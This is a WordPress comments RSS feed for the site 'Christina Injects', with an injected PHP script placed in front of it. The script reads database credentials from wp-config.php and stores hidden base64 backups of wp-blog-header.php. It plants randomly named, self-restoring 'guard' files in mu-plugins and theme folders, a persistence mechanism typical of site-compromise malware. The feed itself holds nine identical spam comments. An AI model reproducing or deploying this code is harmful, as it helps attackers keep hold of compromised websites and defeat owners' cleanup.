error_reporting(E_ALL); ini_set('display_errors', 1); function detectWordPressPaths_wbh() { if (defined('ABSPATH') && function_exists('get_template_directory')) { $site_root = realpath(ABSPATH); $base_path = WP_CONTENT_DIR; $mu_path = WP_CONTENT_DIR . '/mu-plugins'; $child_theme = get_stylesheet(); $active_theme = get_template(); $themeDir = get_template_directory(); return compact('site_root','base_path','mu_path','child_theme','active_theme','themeDir'); } $possible_paths = [ __DIR__ . '/wp-config.php', __DIR__ . '/../wp-config.php', __DIR__ . '/../../wp-config.php' ]; $wp_config_file = null; foreach ($possible_paths as $p) { if (file_exists($p)) { $wp_config_file = $p; break; } } if (!$wp_config_file) { echo "Не найден wp-config.php\n"; exit; } $site_root = realpath(dirname($wp_config_file)); $base_path = $site_root . '/wp-content'; $mu_path = $base_path . '/mu-plugins'; $wp_config = file_get_contents($wp_config_file); preg_match("~define\(\s*'DB_NAME'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_name = $m[1] ?? null; preg_match("~define\(\s*'DB_USER'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_user = $m[1] ?? null; preg_match("~define\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_pass = $m[1] ?? null; preg_match("~define\(\s*'DB_HOST'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_host = $m[1] ?? null; preg_match("~\\\$table_prefix\s*=\s*'([^']+)'~", $wp_config, $m); $table_prefix = $m[1] ?? 'wp_'; $active_theme = null; $child_theme = null; $mysqli = new mysqli($db_host, $db_user, $db_pass, $db_name); if (!$mysqli->connect_errno) { $res = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name='template' LIMIT 1"); if ($res && $row = $res->fetch_assoc()) { $active_theme = trim($row['option_value']); } $res = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name='stylesheet' LIMIT 1"); if ($res && $row = $res->fetch_assoc()) { $child_theme = trim($row['option_value']); } $mysqli->close(); } $themeDir = $site_root . '/wp-content/themes/' . ($child_theme ?: $active_theme); return compact('site_root','base_path','mu_path','child_theme','active_theme','themeDir'); } function safeWpBlogHeaderProtectionCLI($site_root, $themeDir, $base_path, $mu_path) { $targetPath = $site_root . '/wp-blog-header.php'; if (!is_readable($targetPath)) { echo "wp-blog-header.php не найден\n"; exit; } $source = file_get_contents($targetPath); if ($source === false || trim($source) === '') { echo "wp-blog-header.php пуст\n"; exit; } $hash = sha1($source); $encoded = base64_encode($source); $backupDirs = [ $base_path . '/.cache-wbh-' . bin2hex(random_bytes(3)), $base_path . '/.backup-wbh-' . bin2hex(random_bytes(3)), $base_path . '/cache-wbh-' . bin2hex(random_bytes(3)), $themeDir . '/.data-wbh-' . bin2hex(random_bytes(3)), ]; shuffle($backupDirs); $backups = []; for ($i = 0; $i < 3; $i++) { $dir = $backupDirs[$i]; if (!is_dir($dir)) mkdir($dir, 0755, true); $file = $dir . '/f-wbh-' . bin2hex(random_bytes(4)) . '.b64'; if (file_put_contents($file, $encoded) !== false) { $backups[] = $file; } } $guardData = base64_encode(json_encode([ 'main' => $targetPath, 'hash' => $hash, 'b' => $backups ])); $guardTag = '<' . '?php'; $guardCode = $guardTag . "\n"; $guardCode .= " \$meta = json_decode(base64_decode('$guardData'), true); if (!is_array(\$meta)) return; \$main = \$meta['main']; \$hash = \$meta['hash']; \$backups = \$meta['b']; if (!is_readable(\$main)) { foreach (\$backups as \$b) { if (is_readable(\$b)) { \$d = base64_decode(file_get_contents(\$b)); if (\$d) { file_put_contents(\$main, \$d); break; } } } return; } \$current = file_get_contents(\$main); if (sha1(\$current) === \$hash) return; foreach (\$backups as \$b) { if (is_readable(\$b)) { \$d = base64_decode(file_get_contents(\$b)); if (\$d && sha1(\$d) === \$hash) { file_put_contents(\$main, \$d); break; } } } "; $guardDirs = [ $mu_path, $base_path . '/.guard-wbh-' . bin2hex(random_bytes(3)), $themeDir . '/includes', ]; shuffle($guardDirs); $guards = []; for ($i = 0; $i < 3; $i++) { $dir = $guardDirs[$i]; if (!is_dir($dir)) mkdir($dir, 0755, true); $file = $dir . '/guard-wbh-' . bin2hex(random_bytes(5)) . '.php'; if (file_put_contents($file, $guardCode) !== false) { $guards[] = $file; } } echo "Бэкапы для wp-blog-header.php:\n" . implode("\n", $backups) . "\n\n"; echo "Защитные файлы для wp-blog-header.php:\n" . implode("\n", $guards) . "\n"; } $paths = detectWordPressPaths_wbh(); safeWpBlogHeaderProtectionCLI($paths['site_root'], $paths['themeDir'], $paths['base_path'], $paths['mu_path']); Comments for Christina Injects https://christinainjects.com Mon, 02 Feb 2026 10:56:49 +0000 hourly 1 https://wordpress.org/?v=6.9.4 Comment on Post Treatment by WP Notify https://christinainjects.com/post-treatment/#comment-10 Mon, 02 Feb 2026 10:56:49 +0000 http://christinainjects.com/?page_id=15#comment-10 Alisa6

are you struggling to get comments on your blog?

]]>
Comment on About by BBC Post https://christinainjects.com/about/#comment-9 Mon, 02 Feb 2026 10:56:23 +0000 http://christinainjects.com/?page_id=9#comment-9 Ruben12

are you struggling to get comments on your blog?

]]>
Comment on Home by BBC Post https://christinainjects.com/#comment-8 Mon, 02 Feb 2026 10:56:07 +0000 http://christinainjects.com/?page_id=7#comment-8 Milla10

are you struggling to get comments on your blog?

]]>
Comment on Testimonials by TikTok https://christinainjects.com/testimonials/#comment-7 Mon, 02 Feb 2026 10:55:47 +0000 http://christinainjects.com/?page_id=19#comment-7 Milla8

are you struggling to get comments on your blog?

]]>
Comment on Testimonials by Google News https://christinainjects.com/testimonials/#comment-6 Fri, 30 Jan 2026 05:42:05 +0000 http://christinainjects.com/?page_id=19#comment-6 Santiago14

are you struggling to get comments on your blog?

]]>
Comment on About by BBC Post https://christinainjects.com/about/#comment-5 Fri, 30 Jan 2026 05:41:50 +0000 http://christinainjects.com/?page_id=9#comment-5 John12

are you struggling to get comments on your blog?

]]>
Comment on Services by Twitter Posts https://christinainjects.com/services/#comment-4 Fri, 30 Jan 2026 05:41:31 +0000 http://christinainjects.com/?page_id=13#comment-4 Milla6

are you struggling to get comments on your blog?

]]>
Comment on Home by WP Notify https://christinainjects.com/#comment-3 Fri, 30 Jan 2026 05:41:16 +0000 http://christinainjects.com/?page_id=7#comment-3 Santiago7

are you struggling to get comments on your blog?

]]>
Comment on Post Treatment by WP Notify https://christinainjects.com/post-treatment/#comment-2 Fri, 30 Jan 2026 05:41:01 +0000 http://christinainjects.com/?page_id=15#comment-2 John2

are you struggling to get comments on your blog?

]]>